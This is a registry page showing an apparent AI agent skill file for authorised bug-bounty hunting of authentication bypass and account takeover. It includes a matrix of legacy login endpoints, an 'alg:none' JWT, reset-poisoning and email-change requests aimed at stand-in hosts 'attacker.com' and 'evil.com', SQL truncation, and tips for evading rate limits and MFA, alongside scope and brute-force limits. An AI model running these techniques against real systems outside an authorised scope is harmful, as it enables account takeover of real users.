hunt-auth
Skill329 starsChanged 4 months agoMITView on GitHub
Auth bypass and ATO hunting - legacy protocol matrix (XMLRPC, SharePoint /_vti_bin/, EWS, Citrix, etc.), JWT manipulation, password reset poisoning, SAML auth bypass, session fixation. Wiki-first, FIND schema output.
In this repository56 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- hunt-burpSkill
- screenshot-burpSkill
- claude-md-improverSkill
- disclosureSkill
- hunt-adSkill
- hunt-apiSkill
- hunt-bizlogicSkill
- hunt-cacheSkill
- hunt-cicdSkill
- hunt-cloudSkill
- hunt-coreSkill
- hunt-deserializationSkill
- hunt-federationSkill
- hunt-icsSkill
- hunt-idorSkill
- hunt-injectionSkill
- hunt-llmSkill
- hunt-m365Skill
- hunt-macosSkill
- hunt-mcpSkill
- hunt-rceSkill
- hunt-secretsSkill
- hunt-smugglingSkill
- hunt-sqliSkill
- hunt-ssrfSkill
- hunt-uploadSkill
- hunt-vpnSkill
- hunt-windowsSkill
- hunt-xssSkill
- researchSkill
- wikiSkill
- arsenalSkill
- bb-workflowSkill
- campaign-healthSkill
- chrome-devtools-browserSkill
- coverageSkill
- ctf-boxSkill
- ctf-categorySkill
- ctf-workflowSkill
- delegateSkill
- evidenceSkill
- fuzzSkill
- ingestSkill
- learnSkill
- metasploitSkill
- ndaySkill
- next-moveSkill
- pt-workflowSkill
- redteamleadSkill
- research-ingestSkill
- screenshotSkill
- triageSkill
- walkthroughSkill
- wiki-arsenalSkill
- wiki-reconSkill
The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 6 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈6
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 31
When a target has a custom/branded login UI, ALWAYS probe the platform's legacy protocol endpoints.
- Distinctive: line 51
Test with synthetic credentials - confirm differential (success vs failure)
- Distinctive: line 78
Test legacy endpoints per tech stack (use matrix above)
- Distinctive: line 80
Test JWT if present: none algorithm, key confusion, weak secret
- Distinctive: line 81
Test password reset: host header injection, token in Referer, token reuse after expiry
- Very specific: line 82
Test email change: no re-auth, no confirmation 7a.
- Distinctive: line 84
Verify impact: demonstrate full ATO on test account B from attacker session A, then clear the confirmation gate below
≈ “Common” is an estimate: at least 1 in 5 of the 213,895 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Hunt: Auth Bypass & Account Takeover
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "authentication bypass account takeover password reset poisoning session fixation legacy protocol" via wiki-search MCPHub: [[web-moc]] (live index). Primary page: [[authentication-attacks]]. Payload arsenal: wiki/payloads/{auth-bypass,jwt,oauth-saml,session,mfa-bypass,crypto}.md.
Anchors: [[session-management-attacks]], [[mfa-bypass]].
Attack surface (ranked)
Probe in this order; a higher entry is more often unguarded than a cleverer payload on the main form is likely to land.
- Legacy protocol endpoints (matrix below) - a second door to the same credential store, frequently with no rate limit, MFA, or CAPTCHA. Probe first on any custom/branded login.
- Password reset flows - host-header poisoning, token in Referer, token reuse/expiry, reset that does not invalidate live sessions.
- Session and MFA - fixation, missing rotation on privilege change, MFA-optional endpoints, JWT manipulation.
- Read the login form's fields, not just the endpoint. A login that takes username only, no password field is instant ATO - just submit the privileged/target username (custom auth on a CTF/lab app does this constantly). Same for a "just email"/"just token" form with no secret.
- Predictable/leaked signing key -> forge as any user. When auth or a "signed message" rests on a per-user key, hunt for a
/debug, docs, or/aboutendpoint (or source) that discloses the key-derivation (deterministic seed likef(username, CONST),nextprime(int(SHA256(seed)))). If the derivation is known, reconstruct the private key offline and forge signatures/sessions/JWTs for admin - no factoring, modulus size irrelevant. Build + oracle-brute steps in [[cryptography-attacks]] ("RSA private key from a known/deterministic seed").
Legacy Protocol Matrix (Probe First on Any Custom-Branded Login)
When a target has a custom/branded login UI, ALWAYS probe the platform's legacy protocol endpoints. These often accept native credentials with NO rate limit, NO MFA, NO CAPTCHA.
| Target tech | Legacy endpoint | Bypass surface |
| WordPress | /xmlrpc.php | Native WP creds; bypasses SSO, MFA, IP-allow on /wp-login.php |
| SharePoint | /_vti_bin/Authentication.asmx | SOAP Login op; FedAuth cookie returned; no rate limit observed |
| SharePoint REST | /_api/contextinfo (POST) | Anonymous FormDigest issuance |
| Atlassian Jira/Confluence | /rest/auth/1/session | Native creds accepted even when Atlassian Access SSO enforced on UI |
| Exchange / OWA | /EWS/Exchange.asmx, /Microsoft-Server-ActiveSync | NTLM/Basic; bypasses OWA MFA restrictions |
| Citrix NetScaler | /vpn/index.html, /cgi/login | Native AD credentials independent of MFA wrappers |
| F5 BIG-IP | /mgmt/tm/util/bash, /tmui/login.jsp | Native admin creds |
| Spring Boot | /actuator/* | Sometimes anonymously enumerable |
| Jenkins | /jnlpJars/jenkins-cli.jar, /script | API tokens + native auth |
| Apache Tomcat | /manager/html | Native Tomcat realm creds |
| Drupal | /user/login?_format=json | JSON POST accepts native passwords independent of SSO middleware |
| Generic ASP.NET | *.asmx?WSDL, trace.axd, elmah.axd | Each ASMX may take creds independently |
How to use:
- Identify tech stack from headers/paths
- Probe legacy endpoint anonymously (confirm reachable, not 403/404)
- Test with synthetic credentials - confirm differential (success vs failure)
- Verify NO rate limit against a synthetic or your OWN test account (never a real user - every failed attempt counts toward account lockout): send a bounded burst - 5 by default per hunt-core, 20 ceiling with operator approval, 0 under
no_bruteforce- and confirm uniform timing, no429, no lockout counter. The ABSENCE of the limit is the finding; do not actually brute-force to prove it. - Confirmed when the endpoint takes native creds with no rate limit / MFA / CAPTCHA (severity below).
JWT Attacks
# 1. Decode JWT
echo "HEADER.PAYLOAD.SIGNATURE" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# 2. Test none algorithm
# Change "alg":"RS256" -> "alg":"none", remove signature
eyJhbGciOiJub25lIn0.PAYLOAD.
# 3. HS256/RS256 key confusion
# If RS256, try signing with public key as HS256 secretATO Attack Paths (Priority Order)
- Password reset poisoning:
POST /forgot-passwordwithX-Forwarded-Host: attacker.com-> reset link sent to attacker - Reset token in Referer leak: reset page loads external analytics -> full Referer with token leaked
- Email change without re-auth:
PUT /api/user/email {"new_email": "attacker@evil.com"}without current_password - Session fixation: set session cookie before auth -> persists after login
- IDOR -> ATO chain:
PATCH /api/users/{victim_uid}with attacker session -> change victim email -> reset password
Methodology
- Map all authentication entry points (main, admin, API, partner, mobile)
- Identify auth mechanism per entry (forms, SAML, OAuth, API key, session)
- Test legacy endpoints per tech stack (use matrix above)
- Probe XMLRPC if WordPress:
system.listMethods,wp.getUsersBlogs - Test JWT if present: none algorithm, key confusion, weak secret
- Test password reset: host header injection, token in Referer, token reuse after expiry
- Test email change: no re-auth, no confirmation
7a. On a legacy PHP/MySQL stack (old Apache/PHP banner) with self-registration, try SQL truncation to forge a duplicate of a privileged username (register
admin+spaces+junk, log in asadmin/yourpass) - see [[authentication-attacks]] "SQL Truncation Duplicate-Account Auth Bypass". - Verify impact: demonstrate full ATO on test account B from attacker session A, then clear the confirmation gate below
- Distill when confirmed (per hunt-core): a reusable legacy-endpoint bypass or JWT variant, GENERIC (no client host):
python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/authentication-attacks.md
Drive it through Burp
Push the load-bearing requests through Burp for operator visibility (Skill(hunt-burp)):
- The password-reset request with the injected
X-Forwarded-Host/Host, and each JWT-tampered request (alg:none, key-confusion), go to Repeater so the operator can replay and inspect them. - The bounded rate-limit / lockout probe (matrix step 4) goes to Intruder with the hunt-core bound, never a hand-rolled loop.
scripts/capture.sh burpgrabs the request+response PoC the moment it lands.
Confirmation gate
NOT confirmation: a 200 on the login page or reset form; a different or friendlier error message; a password-reset email merely received; a JWT that decodes cleanly or whose alg/claims you edited and the server did not reject; a legacy endpoint that returns 200 to an anonymous probe; the server "accepting" a modified token without acting on it.
IS confirmation: an authenticated session obtained as a different user - exercise a capability only that account has - OR a reset token that actually resets another account's password and lets you log in as them. Reproduced from scratch in a clean session (fresh profile, no cached cookies) per hunt-core, with your own account ruled out as the thing you logged into.
Chaining
- Reset poisoning / token leak -> ATO. A host-header or Referer-leaked reset token completes a full victim takeover - report the chain, not the leak alone.
- Trusted JWT claim -> ATO. A
sub/user_idthe server trusts plus a weak or strippable signature is arbitrary account takeover. - Hand off
hunt-federationfor SSO/OAuth/SAML redirect_uri, state CSRF, and XSW signature attacks; this skill covers the SAML auth-bypass surface only. - Hand off
hunt-idorfor the trusted-identifier overlap - aPATCH /users/{victim}that rewrites a victim email is an IDOR that chains straight back here to reset-based ATO (ATO path 5).
Evasion
When the primary login rate-limits or enforces MFA, the bypass is usually a different entry point to the same credential store, not a cleverer payload: the legacy endpoints above, an alternate host (mobile/partner/API), an older API version, or a SOAP/JSON variant of the same auth call. For a hardened reset flow, vary the host-header injection vector (X-Forwarded-Host, dual Host headers, absolute-URI request line) rather than repeating one form.
Severity
Rated on demonstrated impact (per hunt-core), not the mechanism.
| Condition | Typical |
| Auth bypass reaching an authenticated context with no credentials | critical |
| Full ATO of a victim account (reset poisoning, trusted-JWT claim, session fixation) | critical / high |
| Full ATO requiring one victim click | high |
| Unlimited credential brute-force endpoint confirmed (legacy protocol, no rate limit) | critical / high |
| Legacy endpoint reachable, accepts native creds, no rate limit, no creds tested yet | medium |
Unauthenticated outranks authenticated. A precondition you cannot satisfy (a victim click, a cred list you do not hold) lowers it.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

